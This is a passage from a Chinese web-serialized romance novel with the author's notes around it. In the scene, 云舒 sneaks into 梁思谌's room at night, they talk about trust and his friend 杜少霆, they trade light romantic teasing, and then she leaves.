梁思谌:? 来啦,感冒两天睡颠倒了我,晚上才清醒。 明天我把药停了,争取早点更新~ ,你偷摸进我房间,我怎么跟爸妈交代。” “要不就说我梦游,学习压力大。” “你会撒谎吗你就编瞎话?”梁思谌太了解她。 云舒笑了笑:“不会,但我有你,我相信你。” 梁思谌捏她的脸:“除了你自己,谁都不可信。”他下意识想教育她,顿时又鄙夷自己,当哥当习惯了都不会做男朋友了。 于是他低头,轻吻她嘴巴:“但你可以无条件信任我,没有人会亲手摧毁自己悉心照料大的玫瑰。” 云舒表情复杂地看着他。 梁思谌偏头笑:“杜少霆说的,我抄来用用,酸了吧唧的,他都快压抑成变态了。” 云舒转了下眼珠子,旋即似乎意识到什么,瞪大眼看他。 杜少霆和妹妹这些年几乎相依为命。 梁思谌捂住她的嘴:“别说出来。” 云舒点了点头。 聊了这么会儿,云舒心里那点辗转反侧的惶惶不安,也就散得差不多了。她小声说:“我要回去了。” “你想来就来,想走就走啊?”梁思谌刚抱了一会儿,顿时不爽。 “那你说你想干什么。”云舒无奈看他,早知道不偷偷来了。 “干什么?你呗。”梁思谌把她抱到身上,平躺着跟她说话。 这姿势云舒非常难受,手肘撑起来,看了他一会儿,“难道你在你房间里放套了?” 自己一个人住的公寓都不备,云舒不信他会在自己家的房间里备。 梁思谌:“……” 还真没有。 于是云舒放心地对他动手动脚片刻,然后翻身下床,“我走了。” 作者有话要说 梁思谌:? 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